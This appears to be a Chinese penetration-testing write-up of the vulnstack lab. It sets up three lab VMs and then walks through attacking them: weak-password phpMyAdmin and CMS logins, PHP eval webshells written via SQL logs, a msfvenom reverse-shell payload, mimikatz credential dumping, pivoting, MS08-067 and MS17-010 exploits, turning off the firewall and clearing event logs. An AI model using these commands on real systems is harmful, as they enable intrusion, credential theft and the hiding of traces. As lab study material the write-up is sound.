环境搭建
- 项目地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
- 网络拓扑
环境说明
下载回来有三个虚拟机:
- VM1: vulnstack-win7
- VM2: vulnstack-Win2K3 Metasploitable
- VM3: vulnstack-winserver08
提供的是VMware直接打包的虚拟机文件(.vmdk
),使用VMWare的根据官方提供的截图配置就可以了,由于我是Linux环境,装的是VirtualBox,需要稍作调整,根据项目截图的网络配置:
- 192.168.54.0/24: Web服务环境,在VBox中用Host-only Adapter(主机模式)
- 192.168.72.0/24: 域内网环境,在VBox中用Internal(内网模式)
宿主机充当测试机,这里只配置三台虚拟机网络就可以了,Host-only Adapter
直接在菜单栏里添加,Internal
在网卡适配器填入相同的名称,比如intnet0
,网卡配置:
- vulnstack-win7: intnet0、vboxnet0
- vulnstack-Win2K3 Metasploitable: intnet0
- vulnstack-winserver08: intnet0
由于没有快照文件,使用VirtualBox各建一个虚拟机附加相应的.vmdk
文件,然后在网卡配置选择对应的模式和网络。
接着登录各个VM设置固定IP,内网域成员主机网卡DNS地址指向域控IP地址,三个VM的IP分别为:
- VM1(Win7): 192.168.54.3(vboxnet0)、192.168.72.104(intnet0)
- VM2(W2003): 192.168.72.103(intnet0)
- VM3(W2008): 192.168.72.102(intnet0)
由于VM2和VM3都在内网,要对其进行渗透首先得拿下VM1 Web服务器的权限,再作为跳板进入内网横向移动。各个VM都有着比较多的服务,这里只挑比较容易的来练习,主要是获取服务器SYSTEM权限。
本文使用到的工具:
- Metasploit Framework: Kali Linux
- Ladon: https://github.com/k8gege/Ladon.git
- dirmap: https://github.com/H4ckForJob/dirmap.git
注意事项:
- VM1(Win7)的Web服务需要进去手动启动phpStudy(C:/phpStudy);
- VM2(Win2003)的
.vmdk
拷过来附加到VirtualBox发生MBR引导错误出现:error loading operating system
,用GHOST复制修复一下虚拟磁盘,如果启动蓝屏,试试勾选APIC (虚拟机配置System选项)和把接口改为SCSI
:
如果Win2003如果开机发现没有域登录选项,需要重新手动加入域,登录界面才有域登录选项:
漏洞利用
端口扫描 & Web目录扫描
使用nmap对VM1(192.168.54.3)进行端口扫描:
1 | $ nmap 192.168.54.3 |
80端口打开就是一个探针页面:
再进一步收集Web目录和文件信息:
1 | $ python3 dirmap.py -i http://192.168.54.3 -lcf |
发现phpinfo.php
、phpmyadmin
、beifen.rar
等信息。
phpMyAdmin GetShell
直接root/root
弱口令登录成功。
- 由于在探针知道绝对路径为:
C:/phpStudy/WWW
,查看secure_file_priv
,看是否可以使用导出写WebShell:
1 | select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpStudy/WWW/z.php'; |
1 | show global variables like '%secure%'; |
显示为NULL
,表示限制,不允许导入导出。
注意:这个配置需要在 my.ini 文件修改。
- 使用日志写Shell
1 | show variables like '%general%'; |
general_log
显示为OFF
,尝试开启并更改日志目录:
1 | set global general_log=on; |
写WebShell,顺便关闭日志:
1 | SELECT '<?php eval($_POST["cmd"]);?>'; |
antSword连上:
CMS后台GetShell
接着再看一下beifen.rar
这个文件,下载解压后是个yxcms
文件夹,访问yxcms
目录正是站点,直奔后台:
1 | http://192.168.54.3/yxcms/index.php?r=admin/index/login |
尝试admin/123456
弱口令登录成功,然后在模板文件管理直接写Shell就可以了:
内网搜集
结合WebShell反弹Shell到MSF进行内网渗透:
1 | $ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.54.1 lport=5555 -f exe > shell.exe |
使用antSword上传shell.exe
到Web服务器,然后在终端执行:
1 | $ msfconsole |
Administrator权限,直接getsystem
提权:
1 | meterpreter > getsystem |
使用mimikatz
抓hash:
1 | meterpreter > load mimikatz |
用wdigest
明文密码:
1 | meterpreter > wdigest |
注意: 使用
mimikatz
抓明文之前先将PID
迁移得到64位进程上,不然可能导致抓不到明文。
1 | meterpreter > migrate 400 # 400 是 winlogon.exe 的 PID |
端口信息收集
从ifconfig /all
得知Web服务器有两个网卡,为了方便,直接上传Ladon
进行内网主机端口信息收集:
1 | meterpreter > upload /root/Tools/Ladon/Ladon.exe C:/phpStudy/backup |
得到2个存活主机,主要开放端口:
1 | 192.168.72.102 80 Default is Web |
横向渗透
系统指纹识别
从端口判断102可能是主域机器,103是域成员,使用Ladon
对192.168.72.103
系统指纹识别:
1 | C:\phpStudy\backup>Ladon.exe 192.168.72.103 OsScan |
是台Win2003
,开了445
端口,尝试拿MS08-067
打。
添加路由
首先添加路由,使用Web服务器作为跳板访问Win2003
:
1 | meterpreter > run autoroute -s 192.168.72.0/24 |
Bind TCP
接着MS08-067
搭配Bind TCP
使用:
1 | meterpreter > background |
成功反弹Shell回来,抓下hash:
1 | meterpreter > mimikatz_command -f samdump::hashes |
mimikatz
明文没抓成功,开始缺少fltlib.dll
,打上能运行,抓明文报错,换wce.exe
也运行报错,可能是我这里环境问题。
构建通道
端口转发
扫描端口的时候103开放了21端口,使用MSF进行端口转发到本地,回到MSF session 1 (Win7):
1 | meterpreter > background |
本地访问
192.168.72.103
的21
端口转发到192.168.54.1
的2121
端口,在攻击机上直接访问:
ftp://192.168.54.1:2121
渗透域控
MS17-010
前面扫描端口开着445
,验证有MS17-010
漏洞,尝试拿exploit/windows/smb/ms17_010_eternalblue
和windows/x64/meterpreter/bind_tcp
直接打192.168.72.102
,很耗时,而且session很大概率直接就died
了。
拿exploit/windows/smb/ms17_010_psexec
出现了Exploit completed, but no session was created.
,没有session。
- 系统防火墙
估计是被防火墙干掉了,尝试用ms17_010_command
先关掉它:
1 | msf5 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command |
- MS17-010 和 Bind TCP
接着再拿ms17_010_psexec
和bind_tcp
打一次:
1 | msf5 exploit(windows/smb/ms17_010_psexec) > use exploit/windows/smb/ms17_010_psexec |
成功反弹获取session。
- 抓取明文信息
使用mimikatz
抓取明文密码:
1 | meterpreter > load mimikatz |
清理痕迹
- 删除添加的域管理账号(这里没有添加);
- 删除服务器上渗透上传的工具;
- 删除应用程序、系统和安全日志;
1 | meterpreter > clearev |
- 断开MSF等连接;
- 其他。
总结
这次的靶机环境比较简单,只是用MSF配合一些小工具使用,归纳下前面的漏洞利用:
- phpMyAdmin弱口令配合探针信息(WWW绝对路径)日志写Shell;
- CMS后台弱口令配合后台模板管理写Shell;
- 备份文件文件泄漏数据库配置和CMS源码等信息;
- 内网主机未打补丁,可以直接远程获取系统权限(MS08-067、MS17-010)。
主机上还有些其他的服务,比如FTP
、Weblogic
和LDAP
等可能存在漏洞,信息收集可以看看浏览器有没有保存密码什么的,mimikatz
抓不到明文看看是不是64位机子加载到32位版本了,payload
打过去异常可以换一个试试或者看看是不是防火墙的影响什么的,总之,没有一成不变的办法,遇到问题还要多分析。